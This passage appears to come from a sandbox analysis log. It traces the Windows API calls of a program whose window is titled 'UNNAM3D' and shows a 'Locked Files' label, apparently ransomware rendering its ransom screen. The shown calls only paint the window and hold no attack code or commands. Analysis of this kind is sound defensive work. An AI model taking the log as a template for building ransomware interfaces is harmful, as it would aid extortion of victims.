(image=0x59bfcf0, count=0xb6eb9c) returned 0x0 [0131.236] GdipImageGetFrameDimensionsList (image=0x59bfcf0, dimensionIDs=0xe33b48*(Data1=0x6e0047, Data2=0x6b, Data3=0x6e, Data4=([0]=0x6f, [1]=0x0, [2]=0x77, [3]=0x0, [4]=0x6e, [5]=0x0, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0 [0131.237] LocalFree (hMem=0xe33b48) returned 0x0 [0131.237] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x46, wParam=0x0, lParam=0xb6efcc) returned 0x0 [0131.238] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x46, wParam=0x0, lParam=0xb6efcc) returned 0x0 [0131.238] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.238] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ed94 | out: lpwndpl=0xb6ed94) returned 1 [0131.238] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ed40 | out: lpRect=0xb6ed40) returned 1 [0131.238] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.238] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.238] GetSystemMetrics (nIndex=42) returned 0 [0131.238] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6ec08, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.238] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6ec08) returned 0x7 [0131.238] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ec48 | out: lpRect=0xb6ec48) returned 1 [0131.242] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x51dbcbe, dwData=0x0) returned 1 [0131.242] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6e8b0 | out: lpmi=0xb6e8b0) returned 1 [0131.242] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xd010216 [0131.242] GetDeviceCaps (hdc=0xd010216, index=12) returned 32 [0131.242] GetDeviceCaps (hdc=0xd010216, index=14) returned 1 [0131.242] DeleteDC (hdc=0xd010216) returned 1 [0131.242] GetCurrentObject (hdc=0x100101b7, type=0x1) returned 0x1b00017 [0131.242] GetCurrentObject (hdc=0x100101b7, type=0x2) returned 0x1900010 [0131.242] GetCurrentObject (hdc=0x100101b7, type=0x7) returned 0x1050032 [0131.243] GetCurrentObject (hdc=0x100101b7, type=0x6) returned 0x18a002e [0131.243] SaveDC (hdc=0x100101b7) returned 1 [0131.243] GetNearestColor (hdc=0x100101b7, color=0x0) returned 0x0 [0131.243] CreateSolidBrush (color=0x0) returned 0x710020f [0131.243] FillRect (hDC=0x100101b7, lprc=0xb6eae8, hbr=0x710020f) returned 1 [0131.244] DeleteObject (ho=0x710020f) returned 1 [0131.244] RestoreDC (hdc=0x100101b7, nSavedDC=-1) returned 1 [0131.245] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.245] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x14, wParam=0x100101b7, lParam=0x0) returned 0x1 [0131.245] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.245] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.245] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.245] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.246] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.246] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.246] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.246] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.246] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.247] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.247] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ed7c | out: lpwndpl=0xb6ed7c) returned 1 [0131.247] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x47, wParam=0x0, lParam=0xb6efcc) returned 0x0 [0131.247] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ed2c | out: lpRect=0xb6ed2c) returned 1 [0131.247] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6ed2c | out: lpRect=0xb6ed2c) returned 1 [0131.247] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x5, wParam=0x0, lParam=0x1ae01d4) returned 0x0 [0131.247] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x3, wParam=0x0, lParam=0xd701e6) returned 0x0 [0131.247] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ed58 | out: lpRect=0xb6ed58) returned 1 [0131.247] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6ed58 | out: lpRect=0xb6ed58) returned 1 [0131.247] GetFocus () returned 0x1015e [0131.247] SetFocus (hWnd=0x10166) returned 0x1015e [0131.247] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x8, wParam=0x10166, lParam=0x0) returned 0x0 [0131.248] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0131.248] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0131.248] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0131.248] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7, wParam=0x1015e, lParam=0x0) returned 0x0 [0131.248] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x1000166, lParam=0x10166) returned 0x0 [0131.248] GetFocus () returned 0x10166 [0131.248] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.248] IsWindowUnicode (hWnd=0x1015e) returned 1 [0131.249] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.249] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.249] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.249] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.249] GetMessageA (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.249] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.249] DispatchMessageA (lpMsg=0xb6f0bc) returned 0x0 [0131.250] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.250] IsWindowUnicode (hWnd=0x1015e) returned 1 [0131.250] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.250] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.250] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.250] BeginPaint (in: hWnd=0x1015e, lpPaint=0xb6ebc8 | out: lpPaint=0xb6ebc8) returned 0xc0107d9 [0131.250] GdipCreateHalftonePalette () returned 0x29080216 [0131.250] SelectPalette (hdc=0xc0107d9, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.250] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.250] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.250] GetSystemMetrics (nIndex=42) returned 0 [0131.250] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6eb60, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.250] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6eb60) returned 0x7 [0131.250] SelectPalette (hdc=0xc0107d9, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.250] EndPaint (hWnd=0x1015e, lpPaint=0xb6ebc4) returned 1 [0131.250] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.250] IsWindowUnicode (hWnd=0x10166) returned 1 [0131.250] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.250] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.250] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.251] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0131.251] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x4000166, lParam=0x10166) returned 0x0 [0131.251] SendMessageW (hWnd=0x10166, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0131.251] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0131.252] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.252] IsWindowUnicode (hWnd=0x10168) returned 1 [0131.253] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.253] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.253] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.253] BeginPaint (in: hWnd=0x10168, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x1401007f [0131.253] SelectPalette (hdc=0x1401007f, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.253] CreateCompatibleDC (hdc=0x1401007f) returned 0x7010210 [0131.253] GetObjectType (h=0x1401007f) returned 0x3 [0131.253] CreateCompatibleBitmap (hdc=0x1401007f, cx=1, cy=1) returned 0x705020d [0131.253] GetDIBits (in: hdc=0x1401007f, hbm=0x705020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.253] GetDIBits (in: hdc=0x1401007f, hbm=0x705020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.253] DeleteObject (ho=0x705020d) returned 1 [0131.254] CreateDIBSection (in: hdc=0x1401007f, lpbmi=0xb6e6ec, usage=0x0, ppvBits=0xb6ebe0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebe0) returned 0x405020e [0131.254] SelectObject (hdc=0x7010210, h=0x405020e) returned 0x185000f [0131.254] GdipCreateFromHDC (hdc=0x7010210, graphics=0xb6ebc4) returned 0x0 [0131.254] GdipTranslateWorldTransform (graphics=0x5c59c28, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.254] GdipSetClipRectI (graphics=0x5c59c28, x=0, y=0, width=79, height=13, combineMode=0x0) returned 0x0 [0131.255] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.255] GdipGetWorldTransform (graphics=0x5c59c28, matrix=0x5c59f08) returned 0x0 [0131.256] GdipIsMatrixIdentity (matrix=0x5c59f08, result=0xb6ec24) returned 0x0 [0131.256] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.256] GdipGetMatrixElements (matrix=0x5c59f08, matrixOut=0xe029a0) returned 0x0 [0131.256] LocalFree (hMem=0xe029a0) returned 0x0 [0131.256] GdipDeleteMatrix (matrix=0x5c59f08) returned 0x0 [0131.256] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.256] GdipGetClip (graphics=0x5c59c28, region=0x5c59f38) returned 0x0 [0131.256] GdipIsInfiniteRegion (region=0x5c59f38, graphics=0x5c59c28, result=0xb6ec18) returned 0x0 [0131.257] GdipSaveGraphics (graphics=0x5c59c28, state=0xb6ec44) returned 0x0 [0131.257] GetWindowTextLengthW (hWnd=0x10168) returned 12 [0131.257] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xc [0131.257] GetSystemMetrics (nIndex=42) returned 0 [0131.257] GetWindowTextW (in: hWnd=0x10168, lpString=0xb6eb44, nMaxCount=13 | out: lpString="Locked Files") returned 12 [0131.257] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xd, wParam=0xd, lParam=0xb6eb44) returned 0xc [0131.257] GetClientRect (in: hWnd=0x10168, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.257] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.257] GdipGetClip (graphics=0x5c59c28, region=0x59aea20) returned 0x0 [0131.257] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.257] GdipGetWorldTransform (graphics=0x5c59c28, matrix=0x59aeab0) returned 0x0 [0131.257] GdipIsMatrixIdentity (matrix=0x59aeab0, result=0xb6ea78) returned 0x0 [0131.257] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.257] GdipGetMatrixElements (matrix=0x59aeab0, matrixOut=0xe029a0) returned 0x0 [0131.257] LocalFree (hMem=0xe029a0) returned 0x0 [0131.257] GdipCombineRegionRegion (region=0x59aea20, region2=0x5c59f38, combineMode=0x1) returned 0x0 [0131.257] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.257] GdipGetMatrixElements (matrix=0x59aeab0, matrixOut=0xe029a0) returned 0x0 [0131.257] LocalFree (hMem=0xe029a0) returned 0x0 [0131.257] GdipDeleteMatrix (matrix=0x59aeab0) returned 0x0 [0131.257] GdipIsInfiniteRegion (region=0x59aea20, graphics=0x5c59c28, result=0xb6eaa0) returned 0x0 [0131.257] GdipIsInfiniteRegion (region=0x59aea20, graphics=0x5c59c28, result=0xb6ea90) returned 0x0 [0131.258] GdipGetRegionHRgn (region=0x59aea20, graphics=0x5c59c28, hRgn=0xb6ea90) returned 0x0 [0131.258] GdipDeleteRegion (region=0x59aea20) returned 0x0 [0131.258] GdipGetDC (graphics=0x5c59c28, hdc=0xb6eaa8) returned 0x0 [0131.258] GetCurrentObject (hdc=0x7010210, type=0x1) returned 0x1b00017 [0131.258] GetCurrentObject (hdc=0x7010210, type=0x2) returned 0x1900010 [0131.258] GetCurrentObject (hdc=0x7010210, type=0x7) returned 0x405020e [0131.258] GetCurrentObject (hdc=0x7010210, type=0x6) returned 0x18a002e [0131.258] SaveDC (hdc=0x7010210) returned 1 [0131.258] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x13040229 [0131.258] GetClipRgn (hdc=0x7010210, hrgn=0x13040229) returned 0 [0131.258] SelectClipRgn (hdc=0x7010210, hrgn=0x804021a) returned 2 [0131.258] DeleteObject (ho=0x13040229) returned 1 [0131.258] DeleteObject (ho=0x804021a) returned 1 [0131.258] OffsetViewportOrgEx (in: hdc=0x7010210, x=0, y=0, lppt=0x2adc17c | out: lppt=0x2adc17c) returned 1 [0131.259] GetNearestColor (hdc=0x7010210, color=0x0) returned 0x0 [0131.259] CreateSolidBrush (color=0x0) returned 0x810020f [0131.259] FillRect (hDC=0x7010210, lprc=0xb6eaac, hbr=0x810020f) returned 1 [0131.259] DeleteObject (ho=0x810020f) returned 1 [0131.259] RestoreDC (hdc=0x7010210, nSavedDC=-1) returned 1 [0131.259] GdipReleaseDC (graphics=0x5c59c28, hdc=0x7010210) returned 0x0 [0131.259] GdipRestoreGraphics (graphics=0x5c59c28, state=0xfdb70dbd) returned 0x0 [0131.259] GdipDeleteRegion (region=0x5c59f38) returned 0x0 [0131.259] GetWindowTextLengthW (hWnd=0x10168) returned 12 [0131.259] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xc [0131.259] GetSystemMetrics (nIndex=42) returned 0 [0131.259] GetWindowTextW (in: hWnd=0x10168, lpString=0xb6eb44, nMaxCount=13 | out: lpString="Locked Files") returned 12 [0131.259] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xd, wParam=0xd, lParam=0xb6eb44) returned 0xc [0131.259] GdipGetDC (graphics=0x5c59c28, hdc=0xb6eac8) returned 0x0 [0131.259] GetCurrentObject (hdc=0x7010210, type=0x1) returned 0x1b00017 [0131.259] GetCurrentObject (hdc=0x7010210, type=0x2) returned 0x1900010 [0131.259] GetCurrentObject (hdc=0x7010210, type=0x7) returned 0x405020e [0131.259] GetCurrentObject (hdc=0x7010210, type=0x6) returned 0x18a002e [0131.259] SaveDC (hdc=0x7010210) returned 1 [0131.259] GetNearestColor (hdc=0x7010210, color=0x80) returned 0x80 [0131.259] RestoreDC (hdc=0x7010210, nSavedDC=-1) returned 1 [0131.259] GdipReleaseDC (graphics=0x5c59c28, hdc=0x7010210) returned 0x0 [0131.260] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.260] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.260] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0xb6ea68, fWinIni=0x0 | out: pvParam=0xb6ea68) returned 1 [0131.260] SendMessageW (hWnd=0x1015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0131.260] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0131.260] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.260] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.260] RedrawWindow (hWnd=0x10166, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.260] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10168, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x1016a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x1016c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x1016e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10170, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10172, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10174, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10176, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x10178, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0131.261] RedrawWindow (hWnd=0x1017a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.261] RedrawWindow (hWnd=0x1015e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.262] GdipGetTextRenderingHint (graphics=0x5c59c28, mode=0xb6ea68) returned 0x0 [0131.262] GdipGetDC (graphics=0x5c59c28, hdc=0xb6ea54) returned 0x0 [0131.262] GetCurrentObject (hdc=0x7010210, type=0x1) returned 0x1b00017 [0131.262] GetCurrentObject (hdc=0x7010210, type=0x2) returned 0x1900010 [0131.262] GetCurrentObject (hdc=0x7010210, type=0x7) returned 0x405020e [0131.262] GetCurrentObject (hdc=0x7010210, type=0x6) returned 0x18a002e [0131.262] SaveDC (hdc=0x7010210) returned 1 [0131.262] GetTextAlign (hdc=0x7010210) returned 0x0 [0131.262] GetTextColor (hdc=0x7010210) returned 0x0 [0131.262] SetTextColor (hdc=0x7010210, color=0x80) returned 0x0 [0131.262] GetCurrentObject (hdc=0x7010210, type=0x6) returned 0x18a002e [0131.262] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.263] SelectObject (hdc=0x7010210, h=0x80a022c) returned 0x18a002e [0131.263] GetBkMode (hdc=0x7010210) returned 2 [0131.263] SetBkMode (hdc=0x7010210, mode=1) returned 2 [0131.263] DrawTextExW (in: hdc=0x7010210, lpchText="Locked Files", cchText=12, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2adc820 | out: lpchText="Locked Files", lprc=0xb6e9e8) returned 13 [0131.264] RestoreDC (hdc=0x7010210, nSavedDC=-1) returned 1 [0131.264] GdipReleaseDC (graphics=0x5c59c28, hdc=0x7010210) returned 0x0 [0131.264] GdipGetDC (graphics=0x5c59c28, hdc=0xb6ec04) returned 0x0 [0131.264] BitBlt (hdc=0x1401007f, x=0, y=0, cx=79, cy=13, hdcSrc=0x7010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.264] GdipReleaseDC (graphics=0x5c59c28, hdc=0x7010210) returned 0x0 [0131.264] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.264] SelectObject (hdc=0x7010210, h=0x185000f) returned 0x405020e [0131.264] DeleteDC (hdc=0x7010210) returned 1 [0131.264] GdipDeleteGraphics (graphics=0x5c59c28) returned 0x0 [0131.264] EndPaint (hWnd=0x10168, lpPaint=0xb6eba8) returned 1 [0131.264] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.265] IsWindowUnicode (hWnd=0x1015e) returned 1 [0131.265] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.265] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.265] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.265] BeginPaint (in: hWnd=0x1015e, lpPaint=0xb6ebc8 | out: lpPaint=0xb6ebc8) returned 0x100101b7 [0131.265] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6e924 | out: lpwndpl=0xb6e924) returned 1 [0131.265] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6e8d0 | out: lpRect=0xb6e8d0) returned 1 [0131.265] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.265] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.265] GetSystemMetrics (nIndex=42) returned 0 [0131.265] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6e798, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.265] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6e798) returned 0x7 [0131.265] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6e7d8 | out: lpRect=0xb6e7d8) returned 1 [0131.265] GetCurrentObject (hdc=0x100101b7, type=0x1) returned 0x1b00017 [0131.265] GetCurrentObject (hdc=0x100101b7, type=0x2) returned 0x1900010 [0131.265] GetCurrentObject (hdc=0x100101b7, type=0x7) returned 0x1050032 [0131.265] GetCurrentObject (hdc=0x100101b7, type=0x6) returned 0x18a002e [0131.265] SaveDC (hdc=0x100101b7) returned 1 [0131.265] GetNearestColor (hdc=0x100101b7, color=0x0) returned 0x0 [0131.265] CreateSolidBrush (color=0x0) returned 0x910020f [0131.265] FillRect (hDC=0x100101b7, lprc=0xb6e678, hbr=0x910020f) returned 1 [0131.265] DeleteObject (ho=0x910020f) returned 1 [0131.265] RestoreDC (hdc=0x100101b7, nSavedDC=-1) returned 1 [0131.265] SelectPalette (hdc=0x100101b7, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.265] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.265] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.265] GetSystemMetrics (nIndex=42) returned 0 [0131.265] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6eb60, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.265] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6eb60) returned 0x7 [0131.265] SelectPalette (hdc=0x100101b7, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.266] EndPaint (hWnd=0x1015e, lpPaint=0xb6ebc4) returned 1 [0131.266] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.266] IsWindowUnicode (hWnd=0x10166) returned 1 [0131.266] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.266] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.266] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.266] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0131.266] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.266] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x14, wParam=0x1401007f, lParam=0x0) returned 0x1 [0131.266] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x4000166, lParam=0x10166) returned 0x0 [0131.266] SendMessageW 